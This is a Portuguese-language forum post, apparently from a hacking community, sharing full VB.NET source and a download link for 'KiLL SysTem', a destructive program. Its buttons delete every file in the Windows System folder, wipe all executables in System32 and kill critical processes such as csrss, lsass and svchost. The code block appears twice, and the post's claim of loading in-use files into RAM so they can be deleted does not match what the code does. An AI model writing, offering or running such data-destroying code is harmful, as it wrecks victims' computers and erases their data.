Bom galera do GH. Resolvi postar aqui um 'programa' que eu fiz em VB para apagar arquivos do sistema que estão em uso pelo S.O. Ele lê o arquivo, joga o valor dele correspondente na memória RAM, para uma String e depois fecha o arquivo da memória, assim possibilitando que o mesmo seja deletado sem chances de recuperação. O programa funciona 100% no Windows XP (todas as versões) a partir do SP2 só lembrando que cada clique deve ser dado apenas uma única vez! (são 4 buttons, cada um apaga uma pasta do sistema - 1 deles sai do programa) Se acharem um bug, reportem aqui nesse post! Vou postar o código abaixo e o link para download do programa:
Link para download: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
[]s
OBS: O programa apaga TODOS os arquivos do sistema. Use por sua própria conta e risco.
Imports System.IO
Imports System.InsufficientMemoryException
Imports System.Configuration
Imports System.Diagnostics
Imports System.Windows
Imports Microsoft.Win32
Imports System.Security
Public Class frm_KiLL_SysTem
Private Sub frm_KiLL_SysTem_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
MessageBox.Show("Welcome to 'KiLL SysTem' - Coded By Intr3pid* Use by your own risk", "KiLL SysTem")
End Sub
Private Sub btn_del1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_del1.Click
On Error Resume Next
Try
Dim arrStr As String() = {}
arrStr = System.IO.Directory.GetFiles("C:\WINDOWS\System", "*.*")
For i As Integer = 0 To arrStr.Length - 1
Try
System.IO.File.Delete(arrStr(i))
Catch ExIO As Exception
Debug.Print(ExIO.Message)
End Try
Next i
Catch ExIO As IOException
MsgBox(ExIO.Message)
End Try
End Sub
Private Sub btn_del_ext_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_del_ext.Click
On Error Resume Next
Try
System.IO.Directory.GetFiles("C:\WINDOWS\System32" , "*.exe")
Dim arrStr As String() = {}
arrStr = System.IO.Directory.GetFiles("C:\WINDOWS\System32" , "*.exe")
For i As Integer = 0 To arrStr.Length - 1
System.IO.File.Delete(arrStr(i))
Next
Catch Ex As IOException
MsgBox(Ex.Message)
End Try
End Sub
Private Sub btn_encerra_proc_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_encerra_proc.Click
On Error Resume Next
Shell("tskill csrss")
Shell("tskill lsass")
Shell("tskill smss")
Shell("tskill svchost")
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
lbl_hora.Text = DateTime.Now.ToLongTimeString
End Sub
Private Sub btn_exit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_exit.Click
On Error Resume Next
Close()
End Sub
End Class
Imports System.InsufficientMemoryException
Imports System.Configuration
Imports System.Diagnostics
Imports System.Windows
Imports Microsoft.Win32
Imports System.Security
Public Class frm_KiLL_SysTem
Private Sub frm_KiLL_SysTem_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
MessageBox.Show("Welcome to 'KiLL SysTem' - Coded By Intr3pid* Use by your own risk", "KiLL SysTem")
End Sub
Private Sub btn_del1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_del1.Click
On Error Resume Next
Try
Dim arrStr As String() = {}
arrStr = System.IO.Directory.GetFiles("C:\WINDOWS\System", "*.*")
For i As Integer = 0 To arrStr.Length - 1
Try
System.IO.File.Delete(arrStr(i))
Catch ExIO As Exception
Debug.Print(ExIO.Message)
End Try
Next i
Catch ExIO As IOException
MsgBox(ExIO.Message)
End Try
End Sub
Private Sub btn_del_ext_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_del_ext.Click
On Error Resume Next
Try
System.IO.Directory.GetFiles("C:\WINDOWS\System32" , "*.exe")
Dim arrStr As String() = {}
arrStr = System.IO.Directory.GetFiles("C:\WINDOWS\System32" , "*.exe")
For i As Integer = 0 To arrStr.Length - 1
System.IO.File.Delete(arrStr(i))
Next
Catch Ex As IOException
MsgBox(Ex.Message)
End Try
End Sub
Private Sub btn_encerra_proc_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_encerra_proc.Click
On Error Resume Next
Shell("tskill csrss")
Shell("tskill lsass")
Shell("tskill smss")
Shell("tskill svchost")
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
lbl_hora.Text = DateTime.Now.ToLongTimeString
End Sub
Private Sub btn_exit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_exit.Click
On Error Resume Next
Close()
End Sub
End Class
Link para download: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
[]s
OBS: O programa apaga TODOS os arquivos do sistema. Use por sua própria conta e risco.
Comment